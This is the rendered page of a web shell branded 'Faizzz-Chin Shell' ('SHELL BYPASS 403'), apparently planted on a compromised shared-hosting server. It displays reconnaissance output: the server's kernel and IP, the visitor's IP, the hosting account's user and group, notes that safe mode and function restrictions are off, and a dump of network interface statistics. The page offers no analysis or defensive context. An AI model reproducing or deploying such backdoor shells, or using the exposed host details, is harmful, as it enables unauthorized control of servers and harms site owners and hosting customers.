SHELL BYPASS 403 |
Modern UI. Responsive. Powerful.

Faizzz-Chin Shell

Uname\Kernel: Linux server234.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64
Server: LiteSpeed
PHP Version: 8.3.30 [ PHP INFO ]
Operating System: Linux
Server Ip: 172.67.152.218
Your Ip: 216.73.217.61
Date Time: 2026-05-10 22:35:56
User: repauqkb (12019) | Group: repauqkb (11967)
Safe Mode: OFF
Disable Function: NONE

name : dev
Inter-|   Receive                                                |  Transmit
 face |bytes    packets errs drop fifo frame compressed multicast|bytes    packets errs drop fifo colls carrier compressed
    lo: 120762356899127 55460111693    0    0    0     0          0         0 120762356899127 55460111693    0    0    0     0       0          0
  eth0: 35945338832639 52965788632    0 18687564 18687564     0          0  64132525 84524194969740 76079550428    0    0    0     0       0          0
  eth1: 35815721999259 52749675808    0 17757812 17757812     0          0  63900434 59886161311643 56404977286    0    0    0     0       0          0
  eth2:       0       0    0    0    0     0          0         0        0       0    0    0    0     0       0          0
  eth3:       0       0    0    0    0     0          0         0        0       0    0    0    0     0       0          0
 bgplo:       0       0    0    0    0     0          0         0  1202972   17180    0    0    0     0       0          0
  eth5:       0       0    0    0    0     0          0         0        0       0    0    0    0     0       0          0
  eth6:       0       0    0    0    0     0          0         0        0       0    0    0    0     0       0          0
  eth7:       0       0    0    0    0     0          0         0        0       0    0    0    0     0       0          0
  eth8:       0       0    0    0    0     0          0         0        0       0    0    0    0     0       0          0
 bond0: 71761060831898 105715464440    0 36445376 36445376     0          0 128032959 144410356281383 132484527714    0 1443    0     0       0          0
bond0.1000: 67753009424577 68442626620    0    0    0     0          0    590461 114649744431251 67795006567    0 1408    0     0       0          0
bond0.999: 793015629546 3921950807    0    0    0     0          0    572700 25793317560929 2110459497    0   35    0     0       0          0
 idrac:       0       0    0    0    0     0          0         0        0       0    0    0    0     0       0          0
© 2026 Faizzz-Chin